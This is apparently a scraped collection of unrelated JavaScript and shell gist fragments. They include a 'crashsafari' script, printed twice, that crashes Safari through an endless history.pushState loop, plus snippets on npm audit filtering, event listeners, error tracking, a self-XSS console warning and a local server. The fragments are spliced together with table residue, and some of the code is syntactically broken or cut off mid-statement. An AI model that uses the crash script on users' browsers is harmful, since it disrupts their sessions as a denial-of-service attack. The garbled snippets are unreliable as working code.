Recently crashsafari bug started crashing the safari with very long url. Here's the script.
var total = "";
for( var i = 0; i < 100000; i++ ) {
total = total + i.toString();
history.pushState(0,0, total );
}
`npm audit | grep -E "(High | Critical)" -B3 -A10` will show only High or critical vulnerabilities | |
Available severities to try: Low |High| Moderate | Critical | |
Replace the severities in the above command per your needs. |
Recently crashsafari bug started crashing the safari with very long url. Here's the script.
var total = "";
for( var i = 0; i < 100000; i++ ) {
total = total + i.toString();
history.pushState(0,0, total );
}
##addEventListener and removeEventListener with function parameters in Javascript along with Event Array
I'm posting a solution which i have implemented to overcome the issue with removeEventListener for anonymous functions. It's basically a closure pattern.
var eventsArray = ['myevent.firstEvent', 'myevent.secondEvent, 'myevent.thirdEvent', 'myevent.fourtEvent', 'myevent.fifthEvent'];
eventsArray.forEach(function(element, index) {
(function(){
var paramterCache;
// Track javaScript errors | |
window.addEventListener('error', function (err) { | |
var lineAndColumnInfo = err.colno ? ' line:' + err.lineno +', column:'+ err.colno : ' line:' + e.lineno; | |
ga( | |
'send', | |
'event', | |
'JavaScript Error', | |
err.message, | |
err.filename + lineAndColumnInfo + ' -> ' + navigator.userAgent, | |
0, |
setTimeout(console.log.bind(console, "\n%cStop!", "font-family:helvetica; font-size:20px; font-size:50px; font-weight:bold; color:red; -webkit-text-stroke:1px black;")); | |
setTimeout(console.log.bind(console, "\n%cThis is a browser feature intended for developers. If someone told you to copy-paste something here to enable a Facebook feature or \"hack\" someone\'s account, it is a scam and will give them access to your Facebook account.", "font-family:helvetica; font-size:20px;")); | |
setTimeout(console.log.bind(console, "\n%cFor more information, see https://www.xys.com/selfxss.", "font-family:helvetica; font-size:20px;")); |
<link rel="import" href="../core-scaffold/core-scaffold.html"> | |
<link rel="import" href="../core-header-panel/core-header-panel.html"> | |
<link rel="import" href="../core-menu/core-menu.html"> | |
<link rel="import" href="../core-item/core-item.html"> | |
<link rel="import" href="../core-icon-button/core-icon-button.html"> | |
<link rel="import" href="../core-toolbar/core-toolbar.html"> | |
<link rel="import" href="../core-field/core-field.html"> | |
<link rel="import" href="../core-icon/core-icon.html"> | |
<link rel="import" href="../core-input/core-input.html"> | |
<link rel="import" href="../core-icons/core-icons.html"> |
http://blog.getify.com/promises-part-1/ |
Defaults the port, but allows you to override it. And opens the browser with your real hostname, instead of localhost, for sharing with other people. | |
# via https://gist.github.com/1525217 | |
function server() { | |
local host=`hostname` | |
local port="${1:-8888}" | |
(sleep 1 && open "http://${host}:${port}/")& | |
python -m SimpleHTTPServer "$port" | |
} | |
http://davidwalsh.name/write-javascript-promises |